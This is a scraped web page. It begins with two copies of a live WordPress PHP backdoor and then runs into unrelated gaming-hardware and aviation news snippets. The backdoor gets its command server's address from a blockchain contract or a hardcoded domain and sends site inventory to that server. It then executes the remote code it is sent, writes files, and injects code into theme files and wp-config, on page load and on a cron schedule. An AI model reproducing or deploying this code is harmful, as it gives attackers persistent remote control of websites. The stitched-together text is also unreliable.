// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
The biggest change from the first Kishi is to the mechanism that holds the two sides together and keeps your phone in place. Razer has ditched the flexible bridge in favor of a sturdier sliding version (similar to the setup used by its rival, Backbone). This makes Kishi V2 compatible with all modern iPhones —namely iPhone 6S and later handsets, as well as both iPhone SE generations. What's more, if you remove the rubber inserts, you may be able to keep your phone's case on when you slot it into place.
Additionally, Razer has swapped out the switches, replacing the V1's membranes with the microswitches from its Wolverine V2 console controllers. "This delivers advantages in actuation responsiveness, comfort and tactile feedback," Razer claims. Meanwhile, there's now a Share button on the front and two additional programmable buttons next to the triggers.
Users can set up those buttons in the Razer Nexus app. You'll also need that app to share your gameplay on YouTube or Facebook when you hit the Share button. Moreover, you'll be able to find supported games through the app, which you can launch with a dedicated gamepad button.
The Kishi V2 works with cloud gaming devices (including Xbox Cloud Gaming and Google Stadia), remote play apps for consoles and PC and iPhone games that support MFi controllers. There's a Lightning port for passthrough charging but, sadly, no 3.5mm headphone jack.
]]>
The PlayStation Classic, Sony’s retro console that includes 20 PS1 games, arrived last week, and for those of us who prefer to play a little further away from the TV than wired controllers allow, a solution is on the way. Later this month, 8BitDo is releasing a USB adapter that lets you use its own wireless controllers with the console, along with Sony’s DualShock 3 and 4, Bluetooth Xbox controllers, Switch Pro, Wii U Pro and even Joy-Cons.
The adapter will provide lag-free connections between your controller and the console, according to 8BitDo, which should prove useful for your Tekken 3 fights and Ridge Racer Type 4 races. Pre-orders are now open for the $ 20 adapter, which starts shipping December 31st.
Play your PS1 Classic Edition, wirelessly, with any PS4 controller (and more). Pre-order yours now for $ 19.99 – https://t.co/m3FPl6bmYv pic.twitter.com/D29SSmgfLA
— 8BitDo (@8BitDo) December 10, 2018
Enlarge / All of those Xbox Adaptive Controller ports can now work with the Nintendo Switch… if you buy a $ 25-ish adapter. (credit: Sam Machkovech)
The May unveil of the Xbox Adaptive Controller included a pledge from Microsoft: the company didn’t care if other gaming companies jumped on board, or even piggybacked on Microsoft’s product, to get more limited-mobility users into console gaming.
Neither Sony nor Nintendo has followed suit by unveiling official support for the $ 100 XAC, but one enterprising user has confirmed what we long suspected. Other consoles (in today’s case, the Nintendo Switch) can nimbly support Microsoft’s ambitious controller after jumping through simple hoops.
YouTube user MyMateVince posted his confirmation over the weekend (embedded below) along with a step-by-step guide of what’s needed to open the Nintendo Switch up to the XAC—and, thus, its support for USB joysticks and 3.5mm-port switches and pedals. The biggest requirement is a third-party USB adapter, and this test used the Mayflash MAGIC-NS Wireless Controller Adapter (currently under $ 25 at Amazon). This adapter was chosen in part because its retail box includes a USB Type-C adapter, which works with the XAC whether you set up the Nintendo Switch in docked or handheld mode. (Though this adapter is advertised as a wireless one, this test only confirmed wired XAC support.)
]]>
REVIEW: Since Microsoft launched the Xbox One Elite Controller in 2015, PlayStation 4 owners have waited for something comparable. Many of those fans have pinned their hopes on Scuf Gaming’s new Vantage. This is a custom version of the PS4’s DualShock 4 that has many of the features of the Elite. It comes in a wireless model for $ 200 or…Read More
]]>
Oculus Quest, the latest VR headset from Facebook, enables full six degrees of freedom (6DOF) tracking for both head and hands using the company’s new inside-out system called Insight. This brings the standalone headset closer to Rift-quality tracking than ever before, but it’s still not perfect. Gabor Szauer, Developer Relations Engineer at the co…Read More
]]>Anthonius Gunawan Agung was the last person remaining in the air traffic control tower at Mutiara Sis Al Jufri Airport in Palu when the 7.7 quake hit the city on the Indonesian island of Sulawesi.
While his colleagues ran for their lives as the tower swayed violently from the shocks, Agung, 21, remained steadfast to ensure that Batik Air Flight 6321 got off the ground, as deep fissures and cracks began to appear on the runway.
When the plane took off to safety, further trembling hit the tower. Fearing that he would be trapped beneath the rubble, Agung jumped the four stories off the tower, landing on the ground where he sustained a broken leg and internal injuries.
He was rushed to a nearby hospital where doctors decided to send him to a bigger one for better treatment. However, he died before the helicopter transporting him could reach its destination. He was just one month shy of his 22nd birthday.
Tributes to Agung’s bravery were led by Yohannes Sirait, spokesman for Air Navigation Indonesia, who said Agung’s sacrifice had potentially saved the lives of hundreds of people.
“He gave clearance for this flight, and if he left his post before the plane was airborne, hundreds of people inside the plane might be in danger,” he said.
“Unfortunately we lost him this morning before the helicopter reached Palu.”
Hundreds of tributes have since flooded in, with Agung given a hero’s farewell earlier Saturday as soldiers carried his body to be transported to the burial.
In acknowledgement of his bravery and sacrifice, AirNav Indonesia officials raised his rank by two levels saying that he “demonstrated tremendous dedication” in providing flight safety.
At least 384 people have so far been confirmed dead and over 500 people injured as a result of Friday’s earthquake and tsunami.
Palu airport has been damaged to the extent that it has lost at least 500 meters of its 2,500 meter-long runway, but is still operational for rescue aircraft.
Think your friends would be interested? Share this story!
]]>
Enlarge / The brand-new Xbox Adaptive Controller, posing on top of its black-on-white gaming sibling, the Xbox One S console. (credit: Sam Machkovech)
Microsoft’s newest game accessory, the Xbox Adaptive Controller, probably isn’t for you. That’s just an odds game, when counting the percentage of people who fall into the “limited mobility” camp that this strange, unique controller is aimed at.
But that’s the incredible thing about the XAC: that it’s targeting a particularly fractured audience. Limited mobility is a giant, vague category, after all, with so many physical ailments to account for (let alone psychological ones). And previous answers in the gaming sphere have typically been specialized, one-of-a-kind controllers for single hands, feet, heads, and more.
XAC wins out in an odd way: by leaving some major work in users’ hands. This $ 99 lap-sized device is truly incomplete on its own, as it’s designed from the ground up to require add-on joysticks, buttons, and more. As a result, there’s no way to fully review the possibilities Microsoft’s XAC opens up for disabled gamers. Still, we’ve put a retail unit through its paces to see what kind of accessibility canvas this revolutionary “controller” opens up—and exactly how it works—to help limited-mobility gamers and their caretakers decide if its functionality, ease-of-use, and practical cost is right for them.
]]>
An audio emerged online of a conversation between a man who hijacked a plane from the Seattle Airport and an air-traffic controller. On the clip the hijacker talks about running low on fuel and asks if he’ll get life in jail.
The conversation between the man, addressed as Rich/Richard, and the air-traffic controller right before the Horizon Air Q400 plane crash, was released by Aviation journalist Jon Ostrower on Twitter.
At some point the man starts to worry about the fuel. “I’m down to 2,100 (pounds),” he is heard saying. “I started at 30 something… I don’t know what the burnage is like on takeoff, but it burned quite a bit faster than I expected.”
16:40 mark: Air traffic controllers put a Q400 pilot on the radio with Rich to try and help him steer with the autopilot https://t.co/UF8KnVzc2S
— Jon Ostrower (@jonostrower) August 11, 2018
The air controller tells him there is a runway just off to his right “in about a mile [1.6km],” referring to a military airfield at Joint Base Lewis-McChord. “Oh man,” Rich says, “those guys will rough me up if I try and land there. I think I might mess something up there too. I wouldn’t want to do that. They probably have anti-aircraft.” The controller responds that the authorities were “just trying to find a place for you to land safely.”
“I’m not quite ready to bring it down just yet,” Richard said. “But holy smokes, I got to stop looking at the fuel, because it’s going down quick.”
The man seemed to understand that his actions would have dire consequences. “This is probably jail time for life, huh? I would hope it is for a guy like me,” he said.
Richard then says he feels like one of the engines “is going out or something.” The controller replies: “If you could, you just want to keep that plane right over the water. Keep the aircraft nice and low.”
The man, described by police as a 29-year-old mechanic, says that he has a lot of people that care about him. “It’s going to disappoint them to hear that I did this. I would like to apologize to each and every one of them. Just a broken guy, got a few screws loose, I guess. Never really knew it, until now,” he added.
North American Aerospace Defense Command scrambled two F-15 fighter jets to deal with the Horizon Air plane. While the jets were in pursuit of the small plane, air traffic control helped the rogue plane stay clear of the Seattle cosmopolitan area.
𝟑:𝟒𝟎 𝐀𝐌 𝐄𝐃𝐓 | 𝐀𝐥𝐚𝐬𝐤𝐚/𝐇𝐨𝐫𝐢𝐳𝐨𝐧 𝐀𝐢𝐫 𝐐𝟒𝟎𝟎
𝐏𝐈𝐋𝐎𝐓 𝐀𝐔𝐃𝐈𝐎 𝐌𝐞𝐜𝐡𝐚𝐧𝐢𝐜 𝐒𝐄𝐀-𝐓𝐀𝐂 𝐀𝐥𝐚𝐬𝐤𝐚 𝐀𝐢𝐫 / 𝐇𝐨𝐫𝐢𝐳𝐨𝐧 𝐀𝐢𝐫 𝐐𝟒𝟎𝟎
@𝐒𝐞𝐚𝐓𝐚𝐜𝐀𝐢𝐫𝐩𝐨𝐫𝐭 @𝐀𝐥𝐚𝐬𝐤𝐚𝐀𝐢𝐫 #𝐒𝐄𝐀#𝐒𝐞𝐚𝐓𝐚𝐜pic.twitter.com/IejDfWjVwk— Kyle Andrew Brown (@kylemillennial) August 11, 2018
The Pierce County sheriff said that the perpetrator acted alone and “was confirmed a suicidal male.” He stressed that it was not a terrorism-related incident.
On Saturday morning, White House Press Secretary Sarah Sanders told media that President Donald Trump was briefed on the incident and is currently “monitoring the situation” in Seattle.
Independent aviation expert Gerry Soejatman told RT that employees of air companies should be vetted more thoroughly. “This is what we call the inside risk,” he said, explaining that the security measures should not only be aimed at passengers, but also at employees. “People need to realize that flying an aircraft is not hard, flying it correctly is the hard part.”
